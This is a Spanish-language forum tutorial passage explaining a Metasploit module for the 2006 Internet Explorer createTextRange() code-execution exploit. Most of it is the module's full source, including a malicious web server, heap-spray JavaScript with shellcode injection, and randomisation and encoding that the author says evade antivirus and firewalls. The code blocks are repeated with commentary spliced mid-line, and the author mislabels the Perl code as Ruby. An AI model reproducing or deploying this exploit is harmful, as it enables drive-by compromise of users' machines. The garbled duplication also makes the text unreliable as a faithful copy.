los usuarios de ese programa solo lo ven como un "jaktul" muy facil de usar..
Sin embargo, repito, que es un muy buen proyecto.. y asi como alguna vez trate de cambiar la imagen de este foro de un centro de
noticias, por uno de aprendizaje, ahora quiero cambiar al imagen de metasploit de un "script kiddy jaktul" por una herramienta muy util.
Los shellcodes que vienen con el metasploit, y sus exploits, estan muy bien diseñados.. de hecho ruby mostró ser un lenguaje muy
estable para explotar todo tipo de bugs.. tanto nivel web, como nivel aplicación..
Ultimamente me he dedicado a aprender ruby.. hay mucha info de este leguaje en la web.. y aunque antes ya tenia idea masomenos
de la sintaxis, y como funcionaba, ahora me he metido a programación un poco mas avanzada, entre mas leo, mas me gusta este lenguaje.
En fin, encontre en milw0rm un manual de como hacer exploits en metasploit, muy bueno, incluso te enseña un poco de ruby, pero
esta en ingles, cosa que incomoda a algunos usuarios del foro, y muy largo para hacer una traducción, asi que creo es mejor hacer una
explicación de como funciona algun exploit de metasploit, para explicar la API, y pues donde metes las cosas.. de todas formas, anexo
2 manuales de ruby, y el que encontre en milw0rm..
Para los que han leido y leido, y aun no descifran que significa RUBY, es un lenguaje de programación.. que se parece a.. mmm a ruby xD
Es como una combinacion entre Perl, C y Pascal.. muy bien diseñado.. de hecho se me hace mas flexible que C y mas facil de aprender..
sinembargo si ya tienes las bases, te sera extremadamente facil entenderlo..
Las clases son muy faciles de usar, tiene estructuras, lo que nos permite usar POO, y pues como ya dije es muy facil de aprender.
El objetivo de este manual, no es convencerlos de que siempre usen metasploit, pero si de que lo vean como una opcion.
Primero que nada, la ruta al archivo, debe ser la misma que la ruta dentro del package.
el exploit de ejemplo es el famoso createTextrange() de IExplorer: http://www.milw0rm.com/exploits/1620
package Msf::Exploit::ie_createtextrange; <<-- aqui esta la ruta al exploit

Código:
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;
la cabezera, asegurence de siempre incluir al menos, IO::Socket::INET y use base "Msf::Exploit";
Código:
my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};
aqui se definió un menu de opciones "avanzadas"{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};
Código:
my $info =
{
'Name' => 'Internet Explorer createTextRange() Code Execution',
'Version' => '$Revision: 1.4 $',
'Authors' =>
[
'Faithless <rhyskidd [at] gmail.com>',
'Darkeagle <unl0ck.net>',
'H D Moore <hdm [at] metasploit.com>',
'<justfriends4n0w [at] yahoo.com>',
'Anonymous',
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a code execution vulnerability in Microsoft Internet Explorer.
Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under
certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
to a very remote, non-existent memory location. This module is the result of merging three
different exploit submissions and has only been reliably tested against Windows XP SP2.
This vulnerability was independently discovered by multiple parties. The heap spray method
used by this exploit was pioneered by Skylined.
}),
Esta sección incluye nombre, version, autor y descripción, y continua..{
'Name' => 'Internet Explorer createTextRange() Code Execution',
'Version' => '$Revision: 1.4 $',
'Authors' =>
[
'Faithless <rhyskidd [at] gmail.com>',
'Darkeagle <unl0ck.net>',
'H D Moore <hdm [at] metasploit.com>',
'<justfriends4n0w [at] yahoo.com>',
'Anonymous',
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a code execution vulnerability in Microsoft Internet Explorer.
Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under
certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
to a very remote, non-existent memory location. This module is the result of merging three
different exploit submissions and has only been reliably tested against Windows XP SP2.
This vulnerability was independently discovered by multiple parties. The heap spray method
used by this exploit was pioneered by Skylined.
}),
Código:
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},
aca seleccionamos el tipo de OpCodes, en este caso 0x86 de Intel.'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},
el SO victima
licencia (en este no esta, pero normalmente la encontraras como GPL_LICENSE)
Las opciones que necesita el exploit para funcionar, en este caso un servidor y un puerto donde colocar el exploit.
Código:
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'Keys' => ['-bind'],
},
'Refs' =>
[
['OSVDB', '24050'],
['BID', '17196'],
['CVE', '2006-1359'],
['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],
['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
['URL', 'http://www.kb.cert.org/vuls/id/876678'],
['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'],
['URL', 'http://www.shog9.com/crashIE.html'],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Internet Explorer 7 - (7.0.5229.0) -> 3C0474C2 (Windows XP SP2)' ],
[ 'Internet Explorer 6 - (6.0.3790.0) -> 746F9468 (Windows XP SP2)' ],
],
'Keys' => [ 'ie' ],
'DisclosureDate' => 'Mar 19 2006',
};
algunas caracteristicas de nuestro shellcode, por ejemplo:{
'Space' => 1024,
'BadChars' => "\x00",
'Keys' => ['-bind'],
},
'Refs' =>
[
['OSVDB', '24050'],
['BID', '17196'],
['CVE', '2006-1359'],
['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],
['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
['URL', 'http://www.kb.cert.org/vuls/id/876678'],
['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'],
['URL', 'http://www.shog9.com/crashIE.html'],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Internet Explorer 7 - (7.0.5229.0) -> 3C0474C2 (Windows XP SP2)' ],
[ 'Internet Explorer 6 - (6.0.3790.0) -> 746F9468 (Windows XP SP2)' ],
],
'Keys' => [ 'ie' ],
'DisclosureDate' => 'Mar 19 2006',
};
su maximo tamaño debe ser de 1024 caracteres, y no puede contener "\x00"
algunas referencias del bug, si tiene BID en securityfocus, y demas webs..
si tiene una victima de defecto, el tipo de objetivos vulnerables, etc..
Código:
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
cargamos la estructura y la ordenamos.my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
Código:
sub Exploit
{
my $self = shift;
if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the NOP module.");
return;
}
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
iniciamos el exploit, inicia generando una serie de NOPs para ubicarse en cierto rango de memoria.{
my $self = shift;
if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the NOP module.");
return;
}
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
cargamos las configuraciones....
Código:
my $client;
# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}
comprobamos que este creado el webserver temporal.# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}
Código:
my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
Pex::Utils::SourceIP('1.2.3.4') :
$self->GetVar('HTTPHOST');
aqui asignamos a $httphost el valor de la configuración si este es diferente a 0.0.0.0Pex::Utils::SourceIP('1.2.3.4') :
$self->GetVar('HTTPHOST');
Código:
$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
y esperamos una conexión a nuestro servidor.while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
una ves que recibimos una conexion:
Código:
sub HandleHttpClient
{
my $self = shift;
my $fd = shift;
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
# Read the HTTP command
my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
my $agent;
# Read in the HTTP headers
while ((my $line = $fd->RecvLine(10))) {
$line =~ s/^\s+|\s+$//g;
my ($var, $val) = split(/\:/, $line, 2);
# Break out if we reach the end of the headers
last if (not defined($var) or not defined($val));
$agent = $val if $var =~ /User-Agent/i;
}
my $os = 'Unknown';
$os = 'Linux' if $agent =~ /Linux/i;
$os = 'Mac OS X' if $agent =~ /OS X/i;
$os = 'Windows' if $agent =~ /Windows/i;
$self->PrintLine("[*] Client connected from $rhost:$rport ($os).");
my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));
$fd->Close();
}
aqui ignoramos lo que nos mande el servidor de cabezeras xD, solo nos importa el user agent, para determinar el SO.{
my $self = shift;
my $fd = shift;
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
# Read the HTTP command
my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
my $agent;
# Read in the HTTP headers
while ((my $line = $fd->RecvLine(10))) {
$line =~ s/^\s+|\s+$//g;
my ($var, $val) = split(/\:/, $line, 2);
# Break out if we reach the end of the headers
last if (not defined($var) or not defined($val));
$agent = $val if $var =~ /User-Agent/i;
}
my $os = 'Unknown';
$os = 'Linux' if $agent =~ /Linux/i;
$os = 'Mac OS X' if $agent =~ /OS X/i;
$os = 'Windows' if $agent =~ /Windows/i;
$self->PrintLine("[*] Client connected from $rhost:$rport ($os).");
my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));
$fd->Close();
}
Código:
sub JSUnescape {
my $self = shift;
my $data = shift;
my $code = '';
# Encode the shellcode via %u sequences for JS's unescape() function
my $idx = 0;
while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
$idx += 2;
}
return $code;
}
Código:
sub GenerateHTML {
my $self = shift;
my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = $self->JSUnescape($self->GetVar('EncodedPayload')->Payload);
my $nops = $self->JSUnescape($self->MakeNops(4));
my $rnd = int(rand(3));
my $inputtype = (($rnd == 0) ? "checkbox" : (($rnd == 1) ? "radio" : "image"));
my $inp = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $tmp = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $payload = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $nopslide = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $slidesize = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $fillblock = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $memblock = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $heap = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $index = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $maxIndex = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $fillHeap = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $start = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $timer = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
$rnd = int(rand(2));
my $setTimeout =($rnd == 0) ? "setTimeout('$fillHeap()', 5);" : "";
my $setInterval =($rnd == 1) ? "setInterval('$fillHeap()', 5);" : "";
my $data = qq#
aqui se generan algunos valores aleatorios para hacer que los antivirus no detecten nuestro shellcode, y hacer que funcione my $self = shift;
my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = $self->JSUnescape($self->GetVar('EncodedPayload')->Payload);
my $nops = $self->JSUnescape($self->MakeNops(4));
my $rnd = int(rand(3));
my $inputtype = (($rnd == 0) ? "checkbox" : (($rnd == 1) ? "radio" : "image"));
my $inp = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $tmp = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $payload = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $nopslide = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $slidesize = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $fillblock = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $memblock = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $heap = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $index = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $maxIndex = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $fillHeap = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $start = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
my $timer = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
$rnd = int(rand(2));
my $setTimeout =($rnd == 0) ? "setTimeout('$fillHeap()', 5);" : "";
my $setInterval =($rnd == 1) ? "setInterval('$fillHeap()', 5);" : "";
my $data = qq#

Código:
<[HTML]>
<[HEAD]>
<[SCRIPT language="[javascript]"]>
var $payload=unescape("$shellcode");
var $nopslide=unescape("$nops");
var $slidesize=20+$payload.length;
while ($nopslide.length<$slidesize)
{
$nopslide+=$nopslide;
}
var $fillblock=$nopslide.substring(0,$slidesize);
var $memblock=$nopslide.substring(0,$nopslide.length-$slidesize);
while($memblock.length+$slidesize<0x40000)
{
$memblock+=$fillblock;
}
var $heap=new Array();
var $index=0;
var $maxIndex=2020;
function $fillHeap() {
$timer.innerHTML=Math.round(($index/$maxIndex)*100);
if ($index<$maxIndex) {
$heap.push($memblock+$payload);
$index++;
$setTimeout
}
else {
$timer.innerHTML=100;
$inp=document.createElement("input");
$inp.type="$inputtype";
$tmp=$inp.createTextRange();
}
}
function $start() {
$setTimeout$setInterval
}
<[/[script]]>
<[/[head]]>
<[body [onload]="$start()"]>
Sit back and relax as your windows box is being exploited using a non CPU consuming heap spraying exploit.<BR />
In the meantime, you can open your task manager and watch how the VM size of IEXPLORE.EXE grows, while the CPU time of this process is very low.<BR />
Progress: <span id="$timer"></span>%
<[/[body]]>
<[/[html]]>
#;
}
el codigo HTML del exploit....no me quedare a explicarlo, por tiempo y espacio, pero talves en otra ocasion <[HEAD]>
<[SCRIPT language="[javascript]"]>
var $payload=unescape("$shellcode");
var $nopslide=unescape("$nops");
var $slidesize=20+$payload.length;
while ($nopslide.length<$slidesize)
{
$nopslide+=$nopslide;
}
var $fillblock=$nopslide.substring(0,$slidesize);
var $memblock=$nopslide.substring(0,$nopslide.length-$slidesize);
while($memblock.length+$slidesize<0x40000)
{
$memblock+=$fillblock;
}
var $heap=new Array();
var $index=0;
var $maxIndex=2020;
function $fillHeap() {
$timer.innerHTML=Math.round(($index/$maxIndex)*100);
if ($index<$maxIndex) {
$heap.push($memblock+$payload);
$index++;
$setTimeout
}
else {
$timer.innerHTML=100;
$inp=document.createElement("input");
$inp.type="$inputtype";
$tmp=$inp.createTextRange();
}
}
function $start() {
$setTimeout$setInterval
}
<[/[script]]>
<[/[head]]>
<[body [onload]="$start()"]>
Sit back and relax as your windows box is being exploited using a non CPU consuming heap spraying exploit.<BR />
In the meantime, you can open your task manager and watch how the VM size of IEXPLORE.EXE grows, while the CPU time of this process is very low.<BR />
Progress: <span id="$timer"></span>%
<[/[body]]>
<[/[html]]>
#;
}

Código:
sub BuildResponse {
my ($self, $content) = @_;
my $response =
"HTTP/1.1 200 OK\r\n" .
"Content-Type: text/html\r\n";
if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}
$response .= "\r\n" . $content;
return $response;
}
my ($self, $content) = @_;
my $response =
"HTTP/1.1 200 OK\r\n" .
"Content-Type: text/html\r\n";
if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}
$response .= "\r\n" . $content;
return $response;
}
ok, esto es para evitar que firewalls detecten esto en el camino antes de llegar al navegador...
ciframos la conexion con gzip o chunked para que no se envie en texto plano.
Código:
sub Chunk {
my ($self, $content) = @_;
my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";
return $chunked;
}
sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;
my($wtr, $rdr, $err);
my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;
return (<$rdr>);
}
1;
# milw0rm.com [2006-04-01]
las funciones que encriptan segun el algoritmo, y la firma de milw0rm.commy ($self, $content) = @_;
my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";
return $chunked;
}
sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;
my($wtr, $rdr, $err);
my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;
return (<$rdr>);
}
1;
# milw0rm.com [2006-04-01]
como veran el exploit esta sencillo de entender... solo necesitan entender un poco la sintaxis, pero para
eso estan estos 2 manuales de RUBY.
Saludos!!
Ruby:
Tutorial 1 - http://ruby-gnome.sourceforge.net/tutorial/ (Muy bueno, y teoria, Ingles)
Tutorial 2 - http://tryruby.hobix.com/ (EXCELENTE, interactivo, Ingles)
Metasploit:
Tutorial - anexo (ingles)
Links:
translate.google.com











Autor




En línea
